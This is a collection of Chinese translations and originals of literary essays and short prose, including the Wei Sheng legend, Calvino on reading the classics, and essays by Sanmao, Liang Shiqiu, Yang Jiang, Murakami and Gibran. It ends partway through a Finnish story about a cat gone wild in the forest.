　　桥下黄泥的沙洲，大约还剩下两坪，与河水紧邻在一起。长满芦苇的河畔，有许许多多的小洞，那也许是河蟹的巢穴，每当水波涌上来，就发出轻轻的咕咚声。可是，她还没来。

　　尾生望眼欲穿地走到河畔，环视着没有一只船通过的平静的河流。

　　河边上青青的芦苇长得密不透风。而且，在芦苇中，还有一棵棵郁郁葱葱的，婀娜多姿的河柳。芦苇和河柳遮住了水面，看不见河面的宽度。只见一条带状的清澈的河流映着天上云母般的云彩，静静的在芦苇中蜿蜒开去。可是，她还不来。

　　尾生在河畔踱步，现在沙洲越来越小了。尾生一边踱步，以便注意着暮色渐渐的四周的动静。

　　桥上早就没行人的踪影了。脚步声，马蹄声，还有车轮声，全部消失了。只听见风声，芦苇声，水声，……还有不知从何处传来的苍鹭的尖啸的啼叫声。尾生停下脚步，潮水不知何时涨了起来。挟裹着黄泥的波光粼粼的河水，比刚才更逼近了。可是，她还没来。

　　尾生担忧的蹙起眉头，在桥下昏暗的沙洲上着急地团团乱转。这时，河水一寸一寸，一尺一尺地渐渐地涌上沙洲。同时，从河里升起的河藻气，水气，冷飕飕地渗在他身上。抬头一看，桥上那灿烂的夕阳已经消失了。只有石桥栏杆，横跨在暮色苍茫中，可是，她还没来。

　　尾声很害怕，呆立不动。

　　河水打湿了他的鞋，冷冰的河水渐渐地蔓延开来，也许在很短的时间里，他的膝头，腹部，胸部就要被那猛涨的河水无情地淹没。这时候，水位越来越高，他的两条腿已被河水吞没。可是，她还没来。

　　尾生站在水里，仍怀着一丝希望，不住地向桥上张望。

　　水已经没到腹部了，周围早已笼罩在苍茫的暮色中，远远近近的茂密的芦苇和河柳的沙沙的响声，从昏暗的暮霭中传来，一条像是鲈鱼的鱼，翻着白肚，从尾生的鼻子前面跳过。鱼跳过之后，天空中也已出现了稀稀疏疏的星光，连藤蔓缠绕的桥栏，也很快消融在暮色里，变得模糊不清了。可是，她还没来。

　　夜半，当月光洒在河中的芦苇河和柳树上的时候，河水和微风互相低语着，将桥下尾生的尸体，轻轻的朝大海方向托去。也许尾生的灵魂向往着天空中那皎洁的月光，他摆脱了躯壳，就像水汽，藻味一样，悄无声息地向那微暗的夜空，袅袅地上升……

　　时隔几千年之后，他的灵魂历经流转沧桑，又必须托生为人了。他的灵魂就是如今附着在我身上的这个灵魂。所以，我虽然生活在现代，却干不出任何有意义的事情来，一天到晚过着浑浑噩噩的生活，一味等待着某种当来不来的不可思议的东西，正像那个尾生在黄昏的桥下，一直等待着那位始终未出现的恋人一样。

为什么要读经典

伊塔洛 · 卡尔维诺

　　让我们先提出一些定义。

　　一、经典作品是那些你经常听人家说"我正在重读……"而不是"我正在读……"的书。

　　至少对那些被视为"博学"的人是如此；它不适用于年轻人，因为他们处于这样一种年龄： 他们接触世界和接触成为世界的一部分的经典作品之所以重要，恰恰是因为这是他们的最初接触。

　　代表反复的"重"，放在动词"读"之前，对某些耻于承认未读过某部名著的人来说，可能代表着一种小小的虚伪。为了让他们放心，只要指出这点就够了，也即无论一个人在性格形成期阅读多么广泛，总还会有众多的重要作品未读。

　　任何人如果读过希罗多德和修昔底德的全部作品，请举手。圣西门又如何？还有雷斯枢机主教？即使是十九世纪那些伟大的系列小说，通常也是提及多于读过。在法国，他们开始在学校读巴尔扎克，而从各种版本的销量来判断，人们显然在学生时代结束后还在继续读他。但是，如果在意大利对巴尔扎克的受欢迎程度作一次正式调查，他的排名恐怕会很低。狄更斯在意大利的崇拜者是一小撮精英，他们一见面就开始回忆各种人物和片断，仿佛在谈论他们在现实生活中认识的人。米歇尔•布托多年前在美国教书时，人们老是向他问起左拉，令他烦不胜烦，因为他从未读过左拉，于是他下决心读整个《鲁贡玛卡家族》系列。他发现，它与他想像中的完全是两回事： 它竟是寓言般的、神话学式的系谱学和天体演化学，他后来曾在一篇精彩的文章中描述这个体系。

　　上述例子表明，在一个人完全成年时首次读一部伟大作品，是一种极大的乐趣，这种乐趣跟青少年时代非常不同（至于是否有更大乐趣则很难说）。在青少年时代，每一次阅读就像每一次经验，都会增添独特的滋味和意义；而在成熟的年龄，一个人会欣赏（或者说应该欣赏）更多的细节、层次和含义。因此，我们不妨尝试以其他方式。

　　二、经典作品是这样一些书，它们对读过并喜爱它们的人构成一种宝贵的经验;但是对那些保留这个机会，等到享受它们的最佳状态来临时才阅读它们的人，它们也仍然是一种丰富的经验。

　　因为实际情况是，我们年轻时所读的东西，往往价值不大，这又是因为我们没耐性、精神不能集中、缺乏阅读技能，或因为我们缺乏人生经验。这种青少年的阅读可能（也许同时）具有形成性格的作用，理由是它赋予我们未来的经验一种形式或形状，为这些经验提供模式，提供处理这些经验的手段，比较的措辞，把这些经验加以归类的方法，价值的衡量标准，美的范例： 这一切都继续在我们身上起作用，哪怕我们已差不多忘记或完全忘记我们年轻时所读的那本书。当我们在成熟时期重读这本书，我们就会重新发现那些现已构成我们内部机制的一部分的恒定事物，尽管我们已回忆不起它们从哪里来。这种作品有一个特殊效力，就是它本身可能会被忘记，却把种籽留在我们身上。我们现在可以给出这样的定义：

　　三、经典作品是一些产生某种特殊影响的书，它们要么自己以遗忘的方式给我们的想像力打下印记，要么乔装成个人或集体的无意识隐藏在深层记忆中。

　　基于这个理由，一个人的成年生活应有一段时间用于重新发现我们青少年时代读过的最重要作品。即使这些书依然如故（其实它们也随着历史角度的转换而改变），我们肯定已经改变了，因此后来这次接触也就是全新的。

　　所以，我们用动词"读"或动词"重读"也就不真的那么重要。事实上我们可以说：

　　四、一部经典作品是一本每次重读都好像初读那样带来发现的书。

　　五、一部经典作品是一本即使我们初读也好像是在重温我们以前读过的东西的书。

　　上述第四个定义可视为如下定义的必然结果：

　　六、一部经典作品是一本从不会耗尽它要向读者说的一切东西的书。

　　而第五个定义则隐含如下更复杂的方程式：

　　七、经典作品是这样一些书，它们带着以前的解释的特殊气氛走向我们，背后拖着它们经过文化或多种文化（或只是多种语言和风俗习惯）时留下的足迹。

　　这同时适用于古代和现代经典。如果我读《奥德赛》，我是在读荷马的文本，但我也不能忘记尤利西斯的历险在几个世纪以来所意味的一切事情，而我不能不怀疑这些意味究竟是隐含于原著文本中，还是后来逐渐增添、变形或扩充的。如果我读卡夫卡，我就会一边认可一边抗拒"卡夫卡式的"这个形容词的合法性，因为我们老是听见它被用于指称可以说任何事情。如果我读屠格涅夫的《父与子》或陀斯妥耶夫斯基的《恶魔》我就不能不思索这些书中的人物是如何继续一路转世投胎，一直到我们这个时代。

　　读一部经典作品还一定会令我们感到意外，当我们拿它与我们以前所想像的它比较。这就是为什么我们总要一再推荐读第一手文本，尽量避免二手书目、评论和其他解释。中学和大学都应加强这样一个想法，也即任何一本讨论另一本书的书，所说的都永远比不上被讨论的书；然而他们竭尽全力要让学生相信的，事实上恰恰相反。这里存在一种流行很广的价值的逆转，即是说，导言、批评机器和书目被用得像烟幕，遮蔽了文本在没有中间人的情况下必须说和只能说的东西 --而中间人总是宣称他们所知比文本自身还多。因此，我们可以总结：

　　八、一部经典作品是这样一部作品，它不断让周围制造一团批评话语的尘雾会，却总是把那些微粒抖掉。

　　一部经典作品不一定要教一些我们不知道的东西；有时候我们在一部经典作品中发现我们已知道或总以为我们已知道的东西，却没有料到那个经典文本早就说了（或那个想法与那个文本有一种特殊联系）。这种发现同时也是非常令人满足的意外，例如当我们弄清楚一个想法的来源，或它与某个文本的联系，或谁先说了，我们总会有这种感觉。综上所述，我们可以得出如下定义：

　　九、经典作品是这样一些书，我们越是道听途说，以为我们懂了，当我们实际读它们，我们就越是觉得它们独特、意想不到和新颖。

　　当然，发生这种情况通常是因为一部经典作品的文本"起到"一部经典作品的作用，即是说，它与读者建立一种个人关系。如果没有火花，这种做法就没有意义： 出于职责或敬意读经典作品是没用的，我们只应仅仅因为喜爱而读它们。除了在学校： 无论你愿不愿意，学校都要教你读一些经典作品，在这些作品当中（或通过把它们作为一个基准）你以后将辨别"你的"经典作品。学校有责任向你提供这些工具，使你可以作出你自己的决定；但是，只有那些你在学校教育之后或之外选择的东西才有价值。

　　只有在非强制的阅读中，你才会碰到将成为"你的"书的书。我认识一位出色的艺术史专家，一个极其广博的人，在他读过的所有著作中，他最喜欢《匹克威克外传》，他在任何讨论期间，都会引用狄更斯这本书的片断，并把他生命中每一个事件与匹克威克的生平联系起来。渐渐地，他本人、宇宙及其基本原理，都在一种完全认同的过程中，以《匹克威克外传》的面目呈现。如果我们沿着这条路走下去，我们就会形成对一部经典作品的想法，它既令人仰止又要求极高。

　　十、一部经典作品是这样一个名称，它用于形容任何一本表现整个宇宙的书，一本与古代护身符不相上下的书。

　　这样一个定义，使我们进一步接近关于那本无所不包的书的想法，马拉梅梦寐以求的那种书。但是一部经典作品也同样可以建立一种不是认同而是反对或对立的强有力关系。卢梭的所有思想和行动对我都十分亲切，但是它们在我身上催发一种要抗拒他、要批评他、要与他辩论的无可抑制的迫切感。当然，这跟我觉得他的人格与我的性情难以相容这一事实有关，但是，如果这么简单的话，则我避免读他就行了；事实是，我不能不把他看成我的作者之一。所以，我要说：

　　十一、"你的"经典作品是这样一本书，它使你不能对它保持不闻不问，它帮助你在与它的关系中甚至在反对它的过程中确立你自己。

　　我不相信需要为我使用"经典"这个名称辩解，我这里不用古代、风格和权威等字眼来区分。（关于这个名称的上述种种意义的历史，弗朗哥•福尔蒂尼为《伊诺第百科全书》第三册撰写的"经典"条目有极详尽的阐述。）基于我这个看法，一部经典作品的不同之处，也许仅仅是我们从一部不管是古代还是现代、但在一种文化延续性之中有它自己的位置的作品那里所感到的某种共鸣。我们可以说：

　　十二、一部经典作品是一部早于其他经典作品的作品；但是那些先读过其他经典作品的人，一下子就认出它在众多经典作品的系谱图中的位置。

　　至此，我再也不能搁置一个关键问题，也即如何协调阅读经典与阅读其他一切不是经典的文本之间的关系。这个问题与其他问题有关，例如： "为什么要读经典作品，而不是读那些使我们对自己的时代有更深了解的作品？"和"我们哪里有时间和闲情去读经典作品？我们已被有关现在的各类印刷品的洪水淹没了。"

你的那双眼睛

三毛

　　一九八二年冬天，经过北极，转飞温哥华，经过温哥华，抵达了大约生存着一千两百万人口的墨西哥城。

　　初抵墨西哥的大都会，又可以讲西班牙语，心情上欢喜得发狂，因为不须再用英语了。

　　对于某些女人来说，墨西哥风味的衣饰可能完全不能适合于她们。可是在台湾，就齐豫和我来说，这对民族风味的东西，好似是为我们定做的一样。

　　抵达墨西哥，不过是一场长程旅行的首站，以后全部中南美洲都得慢慢去走。而我，身为一个女人，完全忘掉了这场长途旅行绝对不可以犯的禁忌，就是买东西。

　　当我走在墨西哥城内所谓的“玫瑰区”时，被那些披风、衬衫、裙子、毡子弄得发狂，一心只想尽可能的买个够，至于能不能带着走，谁又去想它呢。

　　于是，我在挂着布料的小摊子之间穿梭，好似梦游一般东摸摸、西探探，迷惑在全然的幸福里。这种滋味，在一般百货公司陈列的衣物中，是找不到的。

　　好在买的衣物不是棉的就是麻的，它们可以折成很小，也耐得住绉。买了一大包东西，不死心，再跑到帘子后面去试一件衬衫。当我穿好衣服，拉开布幔，跑去照镜子的时候，一双深奥含悲的大眼睛，从镜子里注视着我。

　　我转身，看见了那个专卖铜器的摊位，在那摊位边，坐着一个看上去十七、八岁的少年。我盯住他看，眼神交错了一下，彼此笑了笑，可是即使是微笑着，那个少年的黑眼睛里，还是藏着深悲。

　　他的摊子，完全没有一个人驻脚。

　　看了一下那堆铜器，打量了一下它们的体积。计算了一下行李的空间，这，就狠心不去看他了。不行，再怎么美吧，也不能买。太占地方了，除非把刚刚买下的衣服全都丢掉。少年的那双眼神，在那半年艰苦的中南美之旅中，没有释放过我。只因没有买下那个摊子上的铜器，使我背负了那么重的歉疚感一站一站的走下去。

　　半年之后，旅行已到尾声，重新回到墨西哥城去转机回台。我发觉，如果咬一咬牙，手提行李还可以再加一两样东西。就这么欢天喜地的往“玫瑰区”奔去。半年了，那个摊子还在，那双少年的眼睛，一样含悲。

　　我挑了两只紫铜的壶，没有讲价，快快的把钱交给这个少年。那时，我的心，终于得到了一点点自由。我走了，走时，忍不住回过头去，再看他一次。这一回，他的那双眼睛，仍然躲着一种悲伤，于是我想，他的哀愁，和买卖一点关系也没有。就因为这一回头，反而更难过了。

排队

梁实秋

　　“民权初步”讲的是一般开会的法则，如果有人撰一续编，应该是讲排队。

　　如果你起个大早，赶到邮局烧头炷香，柜台前即使只有你一个人，你也休想能从容办事，因为柜台里面的先生小姐忙着开柜子、取邮票文件、调整邮戳，这时候就有顾客陆续进来，说不定一位站在你左边，一位站在你右边，也许是衣冠楚楚的，也许是破衣邋遢的，总之是会把你夹在中间。夹在中间的人未必有优先权，所以三个人就挤得很紧，胳膊粗、个子大、脚跟稳的占便宜。夹在中间的人也未必轮到第二名，因为说不定又有人附在你的背上，像长臂猿似的伸出一只胳膊越过你的头部拿着钱要买邮票。人越聚越多，最后像是橄榄球赛似的挤成一团，你想钻出来也不容易。

　　三人曰众，古有明训。所以三个人聚在一起就要挤成一堆。排队是洋玩艺儿，我们所谓“鱼贯而行”都是在极不得已的情形之下所做的动作。晋书范汪传：“玄冬之月，淝汉干涸，皆当鱼贯而行，推排而进。”水不干涸谁肯循序而进，虽然鱼贯，仍不免於推排。我小时候，在北平有过一段经验，过年父亲常带我逛厂甸，进入海王村，里面有旧书铺、古玩铺、玉器摊，以及临时搭起的几个茶座儿。我父亲如入宝山，图书、古董都是他所爱好的，盘旋许久，乐此不疲，可是人潮汹涌，越聚越多。等到我们兴尽欲返的时候，大门口已经壅塞了。门口只有一个，进也是它，出也是它。而且谁也不理会应靠左边行，於是大门变成瓶颈，人人自由行动，卡成一团。也有不少人故意起哄，哪里人多往哪里挤，因为里面有的是大姑娘、小媳妇。父亲手里抱了好几包书，顾不了我。为了免於被人践踏，我由一位身材高大的警察抱着挤了出来。我从此没再去过厂甸，直到我自己长大有资格抱着我自己的孩子冲出杀进。

　　中国地方大，按说用不着挤，可是挤也有挤的趣味。逛隆福寺、护国寺，若是冷清清的凄凄惨惨觅觅，那多没有味儿！不过时代变了，人几乎天天到处要像是逛庙赶集。长年挤下去实在受不了，于是排队这洋玩艺儿应运而兴。奇怪的是，这洋玩艺儿兴了这么多年，至今还没有蔚成风气。长一辈的人在人多的地方横冲直撞，孩子们当然认为这是生存技能之一。

　　学校不能负起教导的责任，因为教师就有许多是不守秩序的好手。法律无排队之明文规定，警察管不了这么多。大家自由活动，也能活下去。不要以为不守秩序、不排队是我们民族性，生活习惯是可以改的。抗战胜利后我回到北平，家人告诉我许多敌伪横行霸道的事迹，其中之一是在前门火车站票房前面常有一名日本警察手持竹鞭来回巡视，遇到不排队就抢先买票的人，就一声不响高高举起竹鞭飕的一声着着实实的抽在他的背上。挨了一鞭之后，他一声不响的排在队尾了。前门车站的秩序从此改良许多。我对此事的感想很复杂。不排队的人是应该挨一鞭子，只是不应该由日本人来执行。拿着鞭子打我们的人，我真想抽他十鞭子！但是，我们自己人就没有人肯对不排队的人下那个毒手！好像是基于同胞爱，开始是劝，继而还是劝，不听劝也就算了，大家不伤和气。谁也不肯扬起鞭子去取缔，腆颜说是“于法无据”。一条街定为单行道、一个路口不准向左转，又何所据？法是人定的，要什么样的生活方式便应该有什么样的法。

　　洋人排队另有一套，他们是不拘什么地方都要排队。邮局、银行、剧院无论矣，就是到餐厅进膳，也常要排队听候指引一一入座。人多了要排队，两三个人也要排队。有一次要吃皮萨饼，看门口队伍很长，只好另觅食处。为了看古物展览，我参加过一次两千人左右的长龙，我到场的时候才有千把人，顺着龙头往下走，拐弯抹角，走了半天才找到龙尾，立定脚跟，不久回头一看，龙尾又不知伸展得何处去了。我仔细观察发现了一个秘密：洋人排队，浪费空间，他们排队占用一里，由我们来排队大概半里就足够。因为他们每个人与另一个人之间通常保持相当距离，没有肌肤之亲，也没有摩肩接踵之事。我们排队就亲热得多，紧迫钉人，惟恐脱节，前面人的胳膊肘会戳你的肋骨，后面人喷出的热气会轻拂你的脖梗。其缘故之一，大概是我们的人丁太旺而场地太窄。以我们的超级市场而论，实在不够超级，往往近于迷你，遇上八折的日子，付款处的长龙摆到货架里面去，行不得也。洋人的税捐处很会优待主顾，设备充分，偶然有七八个人排队，排得松松的，龙头走到柜台也有五步六步之遥。办起事来无左右受夹之烦，也无后顾催迫之感，从从容容，可以减少纳税人胸中许多戾气。

　　我们是礼义之邦，君子无所争，从来没有鼓励人争先恐后之说。很多地方我们都讲究揖让，尤其是几个朋友走出门口的时候，常不免于拉拉扯扯礼让了半天，其实鱼贯而行也就够了。我不太明白为什么到了陌生人聚集在一起的时候，便不肯排队，而一定要奋不顾身。

　　我小时候只知道上兵操时才排队。曾路过大栅栏同仁堂，柜台占两间门面，顾客经常是里三层外三层挤得水泄不通，多半是仰慕同仁堂丸散膏丹的大名而来办货的乡巴佬。他们不知排队犹可说也。奈何数十年后，工业已经起飞，都市中人还不懂得这生活方式中极为重要的一个项目？难道真需要那一条鞭子才行么？

吾先生

杨绛

　　一九四九年我到清华后不久，发现燕京东门外有个果园，有苹果树和桃树等，果园里有个出售鲜果的摊儿，我和女儿常去买，因此和园里的工人很熟。

　　园主姓虞，果园因此称为虞园。虞先生是早年留学美国的园林学家，五十多岁，头发已经花白，我们常看见他爬在梯子上修剪果树，和工人一起劳动，工人都称他“吾先生”——就是“我们先生”。我不知道他们当面怎么称呼，对我们用第三人称，总是“吾先生”。这称呼的口气里带着拥护爱戴的意思。

　　虞先生和蔼可亲。小孩子进园买果子，拿出一分两分钱，虞先生总把稍带伤残的果子大捧大捧塞给孩子。有一次我和女儿进园，看见虞先生坐在树荫里看一本线装书。我好奇，想知道他看的什么书，就近前去和他攀话。我忘了他那本书的书名，只记得是一本诸子百家的书。从此我到了虞园常和他闲聊。

　　我和女儿去买果子，有时是工人掌秤，有时虞先生亲自掌秤。黄桃熟了，虞先生给个篮子让我们自己挑好的从树上摘。他还带我们下窖看里面储藏的大筐大筐苹果。我们在虞园买的果子，五斤至少有六斤重。

　　三反运动刚开始，我发现虞园气氛反常。一小部分工人——大约一两个——不称“吾先生”了，好像他们的气势比虞先生高出一头。过些时再去，称“吾先生”的只两三人了。再过些时，他们的“吾先生”不挂在嘴上，好像只闷在肚里。

　　有一天我到果园去，开门的工人对我说：

　　“这园子归公了。”

　　“虞先生呢？”

　　“和我们一样了。”

　　这个工人不是最初就不称“吾先生”的那派，也不是到后来仍坚持称“吾先生”的那派，大约是中间顺大流的。

　　我想虞先生不会变成“工人阶级”，大约和其他工人那样，也算是园子里的雇员罢了，可能也拿同等的工资。

　　一次我看见虞先生仍在果园里晒太阳，但是离果子摊儿远远的。他说：得离得远远的，免得怀疑他偷果子。他说，他吃园里的果子得到市上去买，不能在这里买，人家会说他多拿了果子。我几次劝他把事情看开些，得随着时世变通，反正他照样为自己培植的果树服务，不就完了吗？果园毕竟是身外之物呀。但虞先生说：“想不通”，我想他也受不了日常难免的腌臜气。听说他闷了一程，病了一程，终于自己触电去世。

　　没几年果园夷为平地，建造起一片房屋。如今虞园旧址已无从寻觅。


　　一九八零年九月二日

迈锡尼的小行星旅馆

村上春树

　　希腊有个叫迈锡尼的村庄,因谢里曼发现阿伽门农墓而变得有名起来。虽说有名，但还是个很小的村庄，规模也就竹下路大小。旅游大巴来的时候到处是人，大巴一走马上恢复成悄无声息的小村落。地理上由于有从雅典出发当日来回的公共汽车，所以没有人特意在此留宿。可我相当喜欢迈锡尼村。

　　迈锡尼村最好的旅馆是一家叫“小行星”的旅馆。不过以我的感觉来说，较之旅馆，它更接近于“山庄”。设备比较马虎——就像希腊百分之九十五的旅馆——房间也很难说有多么清洁，但非常幽静，小巧玲珑。

　　“小行星”是原希腊空军飞行员及其百里挑一的美貌太太经营的。

　　男主人做得一手好菜，让我吃了一顿相当考究的家常风味希腊菜。他开过轰炸机，同塞浦路斯发生纠纷时因对战争深恶痛绝而被空军开除，成了旅馆的老板。有两个小女儿，都非常可爱。

　　入夜后，迈锡尼村一片黑暗，简直黑得不能再黑。我在阳台的黑暗中一边摸索着戳起配有米饭的海鱼，一边眼望阿伽门农山的篝火和主人聊天。他兴致勃勃地讲述着每天的生活。

　　“很幸福吧？”我问。

　　“当然，”他说，“非常非常幸福！”

　　我心想，能有几个日本人在被问到是否幸福时这样回答呢？

黑夜与黎明之间

纪伯伦

　　我在船两侧涂上落日余辉般的土黄、春慧般的嫩绿、天空似的瓦蓝和晚霞的血红浓船帆上，画上引人注目的奇异图画。涂画完毕，我的思想之船像先知的梦幻一样，开始进游在浩渺沧海与无垠长天之间。船驶人祖国的港口时，人们争相迎接，人人欢呼雀跃，个个赞不绝口，只听锣鼓齐鸣，凯歌高奏，随之将我迎进城里。

　　他们之所以那样欢乐，因为我的思想之船外观华丽；其实，谁也不曾进入船里。

　　也没有人问我从海外带回什么宝贵东西。

　　谁也料想不到，我竟是空船而归。

　　那时，我暗自说：“我骗了人们，仅用七杯颜料，便瞒过了他们的锐利目光。”

　　一年过后，我乘我的思想之船再度出航。

　　我航至东岛，搜集到没药、乳香、龙涎香和植香，将之——一装入船舱。

　　我航至西岛，带回矿产、象牙、宝石、翡翠和美玉。

　　我航至北岛，带回锦缎、刺绣和开司米。

　　我航至南岛，带回铁环错甲、也门宝剑、长矛利刃和种种枪械。

　　我的思想之船装满天下奇珍异宝，回到祖国的海港。我说：

　　“人们必将赞扬我，我亦受之无愧；人们必将载歌载舞迎我进城，我亦功有应得，声誉永垂。”

　　但是，当我抵达港口时，却没有一个人迎接我；我来到大街上，没有一个人瞧我。

　　我站在广场上，向人们宣布，我带回天南地北的奇珍异宝，人们这才向我投来目光；虽然人人笑意在面，但眼睛里闪现出来的却是嘲弄神情。时隔不久，人们纷纷弃我而去，随之各奔东西。

　　我心情抑郁、懊丧，无精打采回到海港。刚看到我的思想之船，便想起一件事情；正是因为这事，我才又开始了海上远航。

　　我高声呼喊：

　　“大海的狂涛刷掉了船身上的涂料，我的思想之船露出了船体；风吹、日晒、雨淋，剥去了船帆上的画图，使之变成了灰色褴楼衣。”

　　我把带回来的珍宝装入棺木，再将棺木推入水里。之后，我回到乡亲们中间。可是，他们都不理睬我，因为他们的眼睛只能看到表面。

　　就在那时，我丢下我的思想之船，来到死神城，坐在粉饰一新的坟墓中间，开始探索死亡的秘密。

　　我的心啊，你莫作声。直至天明。切莫开口！狂风正嘲笑你的细语，山谷不会送回你的弦鸣。

　　我的心哪，你瞧，东方已经破晓。假如你能说话，就请痛痛快快地说吧！

　　我的心哪，你看，这就是黎明大军。黑夜的寂静可曾给你留下歌曲，让你唱着它迎接黎明？

　　我的心哪，你瞧，这是鸽子、纪鸟群，翻飞起舞在山谷上啊。黑夜的恐惧可曾给予你强健翅膀，让你陪伴它们在碧空翱翔？

　　我的心哪，你瞧，牧人赶着羊群。夜下人影可曾给你留下旨意，让你随牧羊人一道奔向绿原草地？

　　我的心哪，你看，这群青年小伙子，正漫步走向葡萄园。莫非你不想站起来，和他们一起到园中玩玩？

　　我的心啊，快起来吧，和黎明一道行动！黑夜已经过去，恐怖与梦幻也一消而净。

　　起来吧，我的心，高声歌唱吧！谁不与黎明一道和声歌唱，便会永远留在黑夜之中。

林中猫的故事

彭蒂 · 哈恩帕

　　它是一只灰白色的公猫，它的毛色已失去瓷瓶般的亮光，因为它已不再年轻了，又爱睡在暖和的地方，皮毛上沾满了炉灰和煤烟。每天，老农妇用没牙的嘴为它嚼面包准备好饭食，还倒给他两食钵热牛奶。它一看见牛奶就喵喵地发出心满意足的叫声，就像家里的老爷爷得到了上等的烈性烟丝那样。然而几天来，它的举动使老婆婆感到忧伤。它几乎对热乎乎的牛奶舔也不舔，而且还竖起长长的尾巴示威，简直是故意闹别扭。到底它在想些什么，恐怕永远也不会为人们所知。春天到了，它干脆走进了森林，再不回到老婆婆身边了。

　　春天，林子不愁没有猎物，如傻乎乎的、叽叽喳喳叫着的小鸟，吱吱叫的土拨鼠和兔崽子⋯⋯它每天吃的是新鲜的肉，身体得到了滋补，污秽的皮毛又重新放出了光亮。从此，它就以森林为家了。如果有时候遇到人，它就很快逃走，并且以一种轻蔑的神气，竖起它那长长的尾巴；或者飞快地爬上树，像精灵似的瞪眼看人，圆圆的眼珠闪着绿光。它曾经温顺地生活，又懒又脏地等待施舍——一种有害的施舍⋯⋯这种日子已很快成为睡梦般的过去。现在它是一只林中猫，一只自由，独立的野猫。它行走着，捕捉着猎物，生活得很幸福。然而北国的夏天不很长。寒冷和黑暗接踵而至，秋雨绵绵，枯叶凋零。森林变得荒凉起来。无数的候鸟飞走了——这些幸福的、把生活安排得有条不紊的候鸟总想生活在永恒的夏天。可是，林中猫却没有长翅膀⋯⋯一群非常失意的山雀惊慌失措地吱吱叫唤着；啄木鸟啄着树皮，发出低沉的响声——这个“林木工人”在湿漉漉的林中，一边寻找隐蔽的昆虫，一边重重地抖动翅膀。存活下来的幼兔已经长大了，变得强壮、机智、敏捷。除此之外，林中还可以听到马鹿在狗吠声中逃窜时的喘息声以及枪声。人可不是什么恩赐者，而是对少量猎物的掠夺者。以森林为家的猫，若不是机智、谨慎和无声无息地潜伏着。现在，也会遭到人的无情捕杀的。无论如何它总还能获得一份热乎乎的肉。刚得到的猎物，是用自己的利爪捕捉的。在林中猫的路上总有一个个小小的生命奉献给它，以便使它得以生活下去⋯⋯然而冬天完全降临了。

　　严寒使大地冻结起来，接着下起了鹅毛大雪，在雪中行走非常艰难，而且还讨厌地留下了足迹。森林变得更加荒凉。雀群也已消失，可能是去寻求人的帮助了。啄木鸟沮丧地啄食着干果——松子。松鸡和雉鸠很机灵，会飞，能隐藏在雪地里。猫嚼动着下巴，乱瞪着他们，全然白费功夫。饥饿和寒冷袭击着林中猫。但有时它总还能获得一丁点热乎乎的肉，于是还能继续生活和忍受下去。当它睡在牧场的干草堆里几乎冻僵了的时候，炉火旁沾满煤烟的热板凳和香气扑鼻的热牛奶时时浮现在它的脑海里。这时它怨恨地哀叫了一声，伸了伸冻得发疼的爪子。冬天的森林特别荒凉和严峻，到了隆冬季节，待在林中简直有生命危险。唯有人，林中猫从前的主人，能在森林里自由自在地活动。在严寒的天气里，远远传来了沉沉的斧子声和别的嘈杂声，接着是大树倒地的可怕的轰隆声。人——这个强有力的生灵似乎是特地来彻底毁灭猫的辽阔家园的⋯⋯它愤怒地竖起了尾巴，眼里射出一道道闪光。它走了很久才寻到比较安静的一隅，作为新的家园。在这个国度里，有着广袤的森林⋯⋯猫很幸运，它不时地扑灭某个生命的火花，以苟延自己的生命。但两餐之间的间隔越来越长，寒冷无情地袭击着它。在冬天一望无垠的雪地里，看不见任何生命的迹象，连土拨鼠也没有；然而在林中猫却有上帝的恩赐。为了躲避倒树的轰隆声，它越过了一条冻结的林间小溪，冰层底下潺潺的流水似乎预示着好运。那里也有一垛干草堆，一股股热气从里面往外冒，猫立即匍匐在地，摆好了捕猎的架势。原来，两头被人饲养过的牲畜都成了在森林里过冬的冒险家，这时，碰巧在这里相遇了。草垛里住着一头公山羊。夏天，这头羊的脑子里也产生了猫在春天里有过的同样想法。它离开了羊群，走得很远很远，在森林里定居下来，幸运地避过了潜在的危险，并且解决了冬天带来的一系列难题。它开始时在小溪旁的草垛边啃草，最后啃出了一个洞穴，在草垛中形成一个可以避寒的独特住所。它的处境比猫好得多，洞穴的四壁可供食用，渴了可以吃雪。干草洞里相当暖和，而且它的绒毛长得很厚，因为逃过了人工剪毛。可是现在一个不速之客正在接近它的宁静住所。猫已弄明白冒气草垛的谜，它的牙齿咬得格格作响，尾巴凶狠地竖了起来。

　　猎物！⋯⋯

　　原来仅满足于捕捉老鼠的它，现在竟毫无顾忌地想干掉这个大家伙。它慢慢地向前移动着。山羊已经从洞口发现了它，并且摇晃着头角，踢着蹄子以示警告。猫小心翼翼地匍匐前进，弓起身，突然扑过去，咬住山羊的脖子。但它仅仅咬了满嘴绒毛，进攻的利爪同样也陷入浓密的绒毛里。然而山羊向前冲撞脖颈的力量在这里没有用武之地。它仅仅把来犯者摔倒在其住所的壁边。接着，发生了一场可怕的、长时间的生死搏斗。羊毛和干草满处飞舞。山羊咩咩地哀叫；林中猫凶狠地露出了一副杀机。不一会儿，其利齿和爪子渐渐透过绒毛层，发挥了作用。

　　斗争以山羊的垂死挣扎而告终。它奄奄一息地躺在干草洞穴的地上抽搐着身子。但是温热的鲜血却给予精疲力竭的猫以新的力量。它胜利地叫了一声，看着它的猎物渐渐死去。对于捕食老鼠的小小动物来说，这可真是个特大收获！天天食肉的日子开始了。干草洞不久也结冻了，因为洞穴的主人已经死去，尸体已冻得硬绑绑，而且越来越小。对猫来说，寒冷和冻肉都无所谓，只要不挨饿，什么都行⋯⋯于是它在自己的猎物旁生活着，打盹，睡觉。丰富的营养使它变得强壮，足以抵御寒冷。而且天气也似乎变得温和起来，厚厚的云层撒着雪花，整个世界都淹没在雪中。林中猫在自己的猎物旁睡着了，森林在大风雪的压迫下呼啸着。突然某个重物跌落下来的响声使猫惊醒过来。有个东西跌在雪地里，正在走近它的住所，而且是个大猎物⋯⋯正在打盹的猫这时立刻精神抖擞起来，作好了跳跃的准备。它的眼睛发出黄绿色的光芒。来者已到了门口，是只大鸟——鹰，捕食母鸡的苍鹰。它跟猫一样有着相同的生活忧虑：漫长的冬天，缺乏食物，忍饥挨饿。

